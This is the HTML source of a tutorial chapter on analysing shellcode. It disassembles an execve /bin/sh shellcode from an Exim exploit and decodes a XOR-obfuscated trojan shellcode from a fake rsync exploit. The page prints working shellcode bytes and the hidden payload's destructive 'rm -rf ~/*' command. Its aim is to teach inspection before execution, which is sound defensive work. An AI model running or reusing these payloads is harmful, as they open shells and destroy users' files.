Repository navigation
Expand file tree
/
Copy pathshellcode6.html
More file actions
260 lines (218 loc) · 13.3 KB
/
Copy pathshellcode6.html
File metadata and controls
260 lines (218 loc) · 13.3 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<meta name="resource-type" content="document" />
<meta name="keywords" content="kernel,panic,OpenBSD,Linux,shellcode,x86,IA32,intel,security,docs" />
<meta name="distribution" content="global" />
<meta name="author" content="Daniele Mazzocchio" />
<meta name="copyright" content="This document copyright 2005-2006 by Kernel-Panic.it." />
<title>Writing shellcode for Linux and *BSD - Shellcode analysis</title>
<link rel="stylesheet" type="text/css" href="../../css/docs.css" />
<link rel="shortcut icon" href="/favicon.ico" type="image/x-icon" />
</head>
<body>
<div class="navigation">
<ul>
<li class="prev"><a class="nav-list" href="shellcode5.html"><span>Previous</span></a></li>
<li class="up"><a class="nav-list" href="index.html"><span>Up</span></a></li>
<li class="next"><a class="nav-list" href="shellcode7.html"><span>Next</span></a></li>
<li class="home"><a class="nav-list" href="../../index.html"><span>Home</span></a></li>
</ul>
<h3>Writing shellcode for Linux and *BSD</h3>
<div>Previous: <a href="shellcode5.html">5. Spawning a shell</a>
Up: <a href="index.html">Table of contents</a>
Next: <a href="shellcode7.html">7. Appendix</a>
</div>
</div>
<hr />
<h2>6. Shellcode analysis</h2>
<p>One last point that deserves attention is the importance of disassembling shellcodes, both to learn new techniques and to be sure about what they do before executing them.</p>
<h3><a id="shellcode-6.1" name="shellcode-6.1"></a>6.1 Trust is good...</h3>
<p>For instance, let's take a look at the shellcode from the <a href="http://www.securityfocus.com/bid/12268/info/">exploit</a>, made available by Rafael San Miguel Carrasco, exploiting a local buffer overflow vulnerability of the <a href="http://www.exim.org/">Exim</a> MTA (releases 4.40 through 4.43).</p>
<div class="code">
<pre>
static char shellcode[]=
"\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89"
"\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e"
"\x2f\x73\x68\x58";
</pre>
</div>
<p>Let's disassemble it with <tt>ndisasm</tt>; by now, we expect to see something familiar:</p>
<div class="code">
<pre>
$ <kbd>echo -ne "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89"\</kbd>
> <kbd>"\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e"\</kbd>
> <kbd>"\x2f\x73\x68\x58" | ndisasm -u -</kbd>
00000000 EB17 jmp short 0x19 ; Initial jump to the CALL
00000002 5E pop esi ; Store the address of the string in ESI
00000003 897608 mov [esi+0x8],esi ; Write the address of the string in ESI + 8
00000006 31C0 xor eax,eax ; Zero out EAX
00000008 884607 mov [esi+0x7],al ; Null-terminate the string
0000000B 89460C mov [esi+0xc],eax ; Write the null pointer to ESI + 12
0000000E B00B mov al,0xb ; Number of the execve(2) syscall
00000010 89F3 mov ebx,esi ; Store the address of the string in EBX (first argument)
00000012 8D4E08 lea ecx,[esi+0x8] ; Second argument (pointer to the array)
00000015 31D2 xor edx,edx ; Zero out EDX (third argument)
00000017 CD80 int 0x80 ; Execute the syscall
00000019 E8E4FFFFFF call 0x2 ; Push the address of the string and jump to the second
; instruction
0000001E 2F das ; "/bin/shX"
0000001F 62696E bound ebp,[ecx+0x6e]
00000022 2F das
00000023 7368 jnc 0x8d
00000025 58 pop eax
$
</pre>
</div>
<h3><a id="shellcode-6.2" name="shellcode-6.2"></a>6.2 ...but control is better</h3>
<p>It's always a good habit to examine a shellcode before executing it. For example, on the 28 May 2004, a prankster <a href="http://seclists.org/lists/fulldisclosure/2004/May/1395.html">posted</a> on <a href="http://lists.netsys.com/mailman/listinfo/full-disclosure">full-disclosure</a> what he asserted was a public exploit for a <a href="http://www.samba.org/rsync/">rsync</a> vulnerability. However, the code was weird: after a first, well-commented shellcode, there was a second, less visible shellcode:</p>
<div class="code">
<pre>
[...]
char shellcode2[] =
"\xeb\x10\x5e\x31\xc9\xb1\x4b\xb0\xff\x30\x06\xfe\xc8\x46\xe2\xf9"
"\xeb\x05\xe8\xeb\xff\xff\xff\x17\xdb\xfd\xfc\xfb\xd5\x9b\x91\x99"
"\xd9\x86\x9c\xf3\x81\x99\xf0\xc2\x8d\xed\x9e\x86\xca\xc4\x9a\x81"
"\xc6\x9b\xcb\xc9\xc2\xd3\xde\xf0\xba\xb8\xaa\xf4\xb4\xac\xb4\xbb"
"\xd6\x88\xe5\x13\x82\x5c\x8d\xc1\x9d\x40\x91\xc0\x99\x44\x95\xcf"
"\x95\x4c\x2f\x4a\x23\xf0\x12\x0f\xb5\x70\x3c\x32\x79\x88\x78\xf7"
"\x7b\x35";
[...]
</pre>
</div>
<p>On top of that, after a brief look at the <tt>main()</tt> of the exploit, it was easy to spot that the latter shellcode was executed locally:</p>
<div class="code">
<pre>
(long) funct = &shellcode2;
[...]
funct();
</pre>
</div>
<p>Therefore, if we want to know what the shellcode actually does, we can do nothing but disassemble it:</p>
<div class="code">
<pre>
$ <kbd>echo -ne "\xeb\x10\x5e\x31\xc9\xb1\x4b\xb0\xff\x30\x06\xfe\xc8[...]" | ndisasm -u -</kbd>
00000000 EB10 jmp short 0x12 ; Jum to the CALL
00000002 5E pop esi ; Retrieve the address of byte 0x17
00000003 31C9 xor ecx,ecx ; Zero out ECX
00000005 B14B mov cl,0x4b ; Setup the loop counter (see insctruction 0x0E)
00000007 B0FF mov al,0xff ; Setup the XOR mask
00000009 3006 xor [esi],al ; XOR byte 0x17 with AL
0000000B FEC8 dec al ; Decrease the XOR mask
0000000D 46 inc esi ; Load the address of the next byte
0000000E E2F9 loop 0x9 ; Keep XORing until ECX=0
00000010 EB05 jmp short 0x17 ; Jump to the first XORed instruction
00000012 E8EBFFFFFF call 0x2 ; PUSH the address of the next byte and jump to the second instruction
00000017 17 pop ss
[...]
</pre>
</div>
<p>As you can see, it's a self-modifying shellcode: instructions from 0x17 to 0x17 + 0x4B are decoded at run-time by XORing them with the value of <tt>AL</tt> (which is initially 0xFF and then decreases at each loop iteration). Once decoded, instructions are executed (<tt>jmp short 0x17</tt>). So let's try to understand which instructions will actually be executed. We can easily decode the shellcode using our beloved <a href="http://www.python.org/">python</a>:</p>
<div class="code">
<div>decode.py</div>
<pre>
#!/usr/bin/env python
sc = "\xeb\x10\x5e\x31\xc9\xb1\x4b\xb0\xff\x30\x06\xfe\xc8\x46\xe2\xf9" + \
"\xeb\x05\xe8\xeb\xff\xff\xff\x17\xdb\xfd\xfc\xfb\xd5\x9b\x91\x99" + \
"\xd9\x86\x9c\xf3\x81\x99\xf0\xc2\x8d\xed\x9e\x86\xca\xc4\x9a\x81" + \
"\xc6\x9b\xcb\xc9\xc2\xd3\xde\xf0\xba\xb8\xaa\xf4\xb4\xac\xb4\xbb" + \
"\xd6\x88\xe5\x13\x82\x5c\x8d\xc1\x9d\x40\x91\xc0\x99\x44\x95\xcf" + \
"\x95\x4c\x2f\x4a\x23\xf0\x12\x0f\xb5\x70\x3c\x32\x79\x88\x78\xf7" + \
"\x7b\x35"
print "".join([chr((ord(x)^(0xff-i))) for i,x in enumerate(sc[0x17:])])
</pre>
</div>
<p><tt>hexdump</tt> can already give us a first idea:</p>
<div class="code">
<pre>
$ <kbd>./decode.py | hexdump -C</kbd>
00000000 e8 25 00 00 00 2f 62 69 6e 2f 73 68 00 73 68 00 |è%.../bin/sh.sh.|
00000010 2d 63 00 72 6d 20 2d 72 66 20 7e 2f 2a 20 32 3e |-c.rm -rf ~/* 2>|
00000020 2f 64 65 76 2f 6e 75 6c 6c 00 5d 31 c0 50 8d 5d |/dev/null.]1ÀP.]|
00000030 0e 53 8d 5d 0b 53 8d 5d 08 53 89 eb 89 e1 31 d2 |.S.].S.].S.ë.á1Ó|
00000040 b0 0b cd 80 89 c3 31 c0 40 cd 80 |°.Í..Ã1À@Í.|
0000004c
</pre>
</div>
<p>Mmmh... "<tt>/bin/sh</tt>", "<tt>sh -c rm -rf ~/* 2>/dev/null</tt>"... This doesn't look good... But let's disassemble it to be sure!</p>
<div class="code">
<pre>
$ <kbd>./decode.py | ndisasm -u -</kbd>
00000000 E825000000 call 0x2a
00000005 2F das
00000006 62696E bound ebp,[ecx+0x6e]
00000009 2F das
0000000A 7368 jnc 0x74
0000000C 007368 add [ebx+0x68],dh
0000000F 002D6300726D add [0x6d720063],ch
00000015 202D7266207E and [0x7e206672],ch
0000001B 2F das
0000001C 2A20 sub ah,[eax]
0000001E 323E xor bh,[esi]
00000020 2F das
00000021 6465762F gs jna 0x54
00000025 6E outsb
00000026 756C jnz 0x94
00000028 6C insb
00000029 005D31 add [ebp+0x31],bl
[...]
</pre>
</div>
<p>The first instruction is a <tt>CALL</tt>, immediately followed by the strings displayed by <tt>hexdump</tt>. The beginning of the shellcode could be re-written this way:</p>
<div class="code">
<pre>
E825000000 call 0x2a
2F62696E2F736800 db "/bin/sh"
736800 db "sh"
2D6300 db "-c"
726d202D7266207E2F2A20323E2F6465762F6E756C6C00 db "rm -rf ~/* 2>/dev/null"
5D pop ebp
[...]
</pre>
</div>
<p>Let's examine the called function, keeping only the opcodes starting at the instruction 0x2a (42):</p>
<div class="code">
<pre>
$ <kbd>./decode_exp.py | cut -c 43- | ndisasm -u -</kbd>
00000000 5D pop ebp ; Retrieve the address of the string "/bin/sh"
00000001 31C0 xor eax,eax ; Zero out EAX
00000003 50 push eax ; Push the null pointer onto the stack
00000004 8D5D0E lea ebx,[ebp+0xe] ; Store the address of "rm -rf ~/* 2>/dev/null" in EBX
00000007 53 push ebx ; and push it on the stack
00000008 8D5D0B lea ebx,[ebp+0xb] ; Store the address of "-c" in EBX
0000000B 53 push ebx ; and push it on the stack
0000000C 8D5D08 lea ebx,[ebp+0x8] ; Store the address of "sh" in EBX
0000000F 53 push ebx ; and push it on the stack
00000010 89EB mov ebx,ebp ; Store the address of "/bin/sh" in EBX (first arg to execve())
00000012 89E1 mov ecx,esp ; Store the stack pointer to ECX (ESP points to"sh", "-c", "rm...")
00000014 31D2 xor edx,edx ; Third arg to execve()
00000016 B00B mov al,0xb ; Number of the execve() syscall
00000018 CD80 int 0x80 ; Execute the syscall
0000001A 89C3 mov ebx,eax ; Store 0xb in EBX (exit code=11)
0000001C 31C0 xor eax,eax ; Zero out EAX
0000001E 40 inc eax ; EAX=1 (number of the exit() syscall)
0000001F CD80 int 0x80 ; Execute the syscall
</pre>
</div>
<p>As you can see, it's an <tt>execve(2)</tt> syscall with the array "<tt>sh</tt>", "<tt>-c</tt>", "<tt>rm -rf ~/* 2>/dev/null</tt>" as the second argument. Needless to repeat that you should always analyse a shellcode before executing it!</p>
<hr />
<div class="navigation">
<ul>
<li class="prev"><a class="nav-list" href="shellcode5.html"><span>Previous</span></a></li>
<li class="up"><a class="nav-list" href="index.html"><span>Up</span></a></li>
<li class="next"><a class="nav-list" href="shellcode7.html"><span>Next</span></a></li>
<li class="home"><a class="nav-list" href="../../index.html"><span>Home</span></a></li>
</ul>
<h3>Writing shellcode for Linux and *BSD</h3>
<div>Previous: <a href="shellcode5.html">5. Spawning a shell</a>
Up: <a href="index.html">Table of contents</a>
Next: <a href="shellcode7.html">7. Appendix</a>
</div>
</div>
<script type="text/javascript">var sc_project=873554, sc_invisible=1, sc_partition=7, sc_security="03daa6ce";</script>
<script type="text/javascript" src="http://www.statcounter.com/counter/counter_xhtml.js"></script>
<noscript><div class="statcounter"><a class="statcounter" href="http://www.statcounter.com/"><img class="statcounter" src="http://c8.statcounter.com/counter.php?sc_project=873554&java=0&security=03daa6ce&invisible=1" alt="counter" /></a></div></noscript>
</body>
</html>